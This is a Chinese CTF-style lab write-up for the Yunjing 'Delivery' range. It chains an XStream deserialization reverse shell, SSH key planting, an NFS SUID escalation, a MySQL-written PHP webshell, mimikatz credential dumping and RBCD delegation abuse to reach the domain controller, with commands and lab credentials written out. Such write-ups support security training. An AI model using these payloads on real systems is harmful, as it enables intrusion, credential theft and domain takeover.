云镜靶场,这个相对简单,并且关卡列表是有提示的。
关卡剧情
关卡剧情:
请测试 Delivery 暴露在公网上的 Web 应用的安全性,并尝试获取在该服务器上执行任意命令的能力。
关卡剧情:
为了实现跨机器和跨操作系统的文件共享,管理员在内网部署了 NFS,然而这个决策却使得该服务器陷入了潜在的安全风险。你的任务是尝试获取该服务器的控制权,以评估安全性。
关卡剧情:
请尝试获取内网中运行 OA 系统的服务器权限,并获取该服务器上的机密文件。
关卡剧情:
由于域管理员错误的配置,导致域内某个用户拥有危险的 DACL。你的任务是找到该用户,并评估这个配置错误所带来的潜在危害。
大致感觉就是 某Web应用存在RCE,内网某机器可利用NFS提权,某OA存在RCE,最后某个域用户拥有WriteDacl权限可以直接dump hash。
flag01
fscan 39.99.157.8 查看开放端口
ftp pom.xml内容为
1 | <?xml version="1.0" encoding="UTF-8"?> |
XStream版本1.4.16 存在漏洞 CVE-2021-29505
https://cloud.tencent.com/developer/article/1839233
8080端口
1 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "bash -c {echo,xxxxxx==}|{base64,-d}|{bash,-i}" |
1 | POST /just_sumbit_it HTTP/1.1 |
为后续操作方便写个公钥上去
1 | echo 'ssh-rsa xxxxxxxxxxxxxxxxx'>>authorized_keys |
直接登陆,为了方便后续操作顺便把socks代理开了
1 | ssh -i id_rsa root@39.99.227.50 -D 0.0.0.0:1080 |
flag02
上fscan扫内网
1 | ./fscan_386 -h 172.22.13.1/24 |
根据关卡剧情提示,内网部署了NFS NFS默认端口是2049,我们利用fscan重点探测一下
1 | root@ubuntu:/tmp# ./fscan_386 -h 172.22.13.1/24 -p 2049 |
整理一下得知,一共四台主机
172.22.13.14 本机 存在flag01
172.22.13.6 域控
172.22.13.28 存在OA
172.22.13.57 NFS
查看172.22.13.57 nfs 共享信息
1 | showmount -e 172.22.13.57 |
C 需要安装nfs客户端
1 | apt install nfs-common |
挂载以后 还是一样我们写一个SSH公钥到172.22.13.57 上去
创建.ssh文件夹写公钥上去后连接
1 | proxychains4 ssh -i id_rsa joyce@172.22.13.57 |
接下来就是提权环节
从根目录中 查找有suid权限的文件,并且属主是root
1 | find / -user root -perm -4000 -print 2>/dev/null |
网上很多WP都是利用ftp的suid权限提权的。
这里换一种方法,回到172.22.13.14机器挂载nfs目录制作一个有suid权限的shell
是由于某个参数设置的问题,本机mount nfs远程共享之后, 本机以root权限设置了一个suid, 远程那边的文件也会拥有这个权限(xz教的)
1 | #include<unistd.h> |
1 | vim pwn.c |
在 172.22.13.57 centos上看已经被共享过来了。并且有suid权限
域用户凭据,后面会有用。
1 | [root@centos ~]# cat /pAss.txt |
flag03
现在回过头看 172.22.13.28的OA 好像没办法利用
前面fscan扫到了 MySQL的弱口令 还是root
1 | [+] mysql:172.22.13.28:3306:root 123456 |
权限很大,链接上去以后直接写webshell上去
PHPstudy那么直接在www目录下写shell
1 | select '<?php eval($_POST[cmd]);?>' into outfile 'C:\\phpstudy_pro\\www\\cmd.php'; |
确实写上去了,哥斯拉链接。
flag04
1 | .\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit" |
1 | .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 |
抓到chegnlei Xt61f3LBhg1
BloodHound 来进行一波信息收集
1 | proxychains4 bloodhound-python -u chenglei -p 'Xt61f3LBhg1' -d xiaorang.lab -c all -ns 172.22.13.6 --zip --dns-tcp |
ACL Admins 组对 WIN-DC 具有 WriteDacl 权限, 那么可以直接写 DCSync / RBCD / Shadow Credentials 可操作性就很大了
这里以委派举例
1 | proxychains4 addcomputer.py XIAORANG.LAB/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -dc-host XIAORANG.LAB -computer-name 'TEST$' -computer-pass 'testtest' |
委派指定的账户必须得是服务账户(也就是具有spn的账户) (机器账户是服务账户的一种)所以创建了个test$的机器账户
1 | proxychains4 rbcd.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -dc-ip 172.22.13.6 -action write -delegate-to 'WIN-DC$' -delegate-from 'TEST$' |
配置资源委派的ldap属性
1 | proxychains4 getST.py xiaorang.lab/'TEST$':'testtest' -spn cifs/WIN-DC.xiaorang.lab -impersonate Administrator -dc-ip 172.22.13.6 |
正常走委派的流程, 用委派过程中的S4U协议生成请求目标机器的ST
1 | KRB5CCNAME=/Users/sch0lar/sec/impacket/examples/administrator.ccache proxychains4 python3 psexec.py xiaorang.lab/administrator@WIN-DC.xiaorang.lab -k -no-pass -target-ip 172.22.13.6 -codec gbk |
使用申请到的票据登陆DC